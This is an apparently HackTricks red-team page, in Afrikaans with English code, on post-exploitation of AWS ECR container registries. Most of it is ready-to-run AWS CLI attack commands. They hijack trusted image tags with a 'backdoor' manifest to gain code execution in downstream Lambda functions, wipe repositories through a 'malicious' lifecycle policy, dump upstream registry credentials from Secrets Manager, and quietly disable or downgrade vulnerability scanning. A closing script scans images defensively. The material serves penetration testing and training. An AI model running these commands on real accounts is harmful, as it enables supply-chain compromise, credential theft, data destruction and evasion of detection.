AWS - ECR Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

ECR

Vir meer inligting, sien

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Nadat jy die images afgelaai het, moet jy hulle kontroleer vir sensitiewe inligting:

Docker Forensics - HackTricks

Oorskryf ’n Trusted Tag via ecr:PutImage (Tag Hijacking / Supply Chain)

As consumers deploy by tag (for example stable, prod, latest) en tags is mutable, kan ecr:PutImage gebruik word om ’n trusted tag na aanvaller-beheerde inhoud te herlei deur ’n image manifest onder daardie tag op te laai.

Een algemene benadering is om die manifest van ’n bestaande aanvaller-beheerde tag (of digest) te kopieer en daarmee die trusted tag oor te skryf.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

Impact: enige werkbelasting wat .../$REPO:$DST_TAG aflaai sal aanvaller-gekose inhoud ontvang sonder enige verandering aan IaC, Kubernetes-manifeste, of taakdefinisies.

Voorbeeld van downstream verbruiker: Lambda Container Images wat outomaties verfris by tag-opdaterings

Indien ’n Lambda-funksie as ’n container image (PackageType=Image) ontplooi is en ’n ECR tag (bv. :stable, :prod) gebruik in plaas van ’n digest, kan die oor-skryf van daardie tag supply-chain tampering omskakel in code execution inside the Lambda execution role sodra die funksie verfris word.

Hoe om hierdie situasie te ondersoek:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

Hoe verfrissing dikwels gebeur:

  • CI/CD of GitOps roep gereeld lambda:UpdateFunctionCode aan (selfs met dieselfde ImageUri) om Lambda te dwing die tag weer op te los.
  • Gebeurtenisgedrewe outomatisering luister na ECR-imagegebeurtenisse (push/tag-opdaterings) en aktiveer ’n verfrissings-Lambda/outomatisering.

As jy die vertroude tag kan oorskryf en ’n verfrissingsmeganisme bestaan, sal die volgende aanroep van die funksie aanvaller-beheerde kode uitvoer, wat dan omgewingsveranderlikes kan lees, netwerkbronne kan benader en AWS APIs kan aanroep met die Lambda-rol (byvoorbeeld, secretsmanager:GetSecretValue).

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

’n Aanvaller met enige van hierdie permissies kan ’n lifecycle policy skep of wysig om alle images in die repository te verwyder en dan die hele ECR-repository te verwyder. Dit sou die verlies van alle container-images wat in die repository gestoor is tot gevolg hĂȘ.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met ’n voorspelbare naamvoorvoegsel: ecr-pullthroughcache/. Operateurs gee soms ECR admins breĂ« Secrets Manager lees toegang, wat credential exfiltration en hergebruik buite AWS moontlik maak.

Vereistes

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Lys kandidaat PTC secrets

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Dump ontdekte secrets en parse algemene velde

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Opsioneel: verifieer leaked creds teen die upstream (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impak

  • Deur hierdie Secrets Manager-inskrywings te lees, verkry ’n aanvaller herbruikbare upstream registry credentials (username/password or token), wat buite AWS misbruik kan word om private images te pull of toegang tot addisionele repositories te kry, afhangend van upstream-permissions.

Registervlak stealth: deaktiveer of verlaag skandering via ecr:PutRegistryScanningConfiguration

’n Aanvaller met registervlak ECR-rechtigings kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reĂ«ls. Dit keer dat nuwe image pushes outomaties gescand word en verberg kwesbare of kwaadwillige images.

Vereistes

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (opsioneel, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verifikasie)

Register-wye terugskakeling na manueel (geen outomatiese skanderings)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Toets met ’n repo en image

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Opsioneel: further degrade at repo scope

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Impak

  • Nuwe image pushes regoor die registry word nie outomaties gescan nie, wat die sigbaarheid van kwesbare of kwaadwillige inhoud verminder en opsporing vertraag totdat ’n handmatige scan geĂŻnisieer word.

Register-wye scanning enjin afgradering via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Verminder die kwaliteit van vulnerability detection oor die hele registry deur die BASIC scan engine van die verstek AWS_NATIVE na die legacy CLAIR enjin te skakel. Dit skakel scanning nie uit nie, maar kan bevindinge en dekking beduidend verander. Kombineer dit met ’n BASIC registry scanning-konfigurasie sonder reĂ«ls om scans net-handmatig te maak.

Vereistes

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Opsioneel) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Impak

  • Registry instelling BASIC_SCAN_TYPE_VERSION word op CLAIR gestel sodat daaropvolgende BASIC scans met die afgegradeerde enjin loop. CloudTrail neem die PutAccountSetting API-oproep op.

Stappe

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

Skandeer ECR images vir kwesbaarhede

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks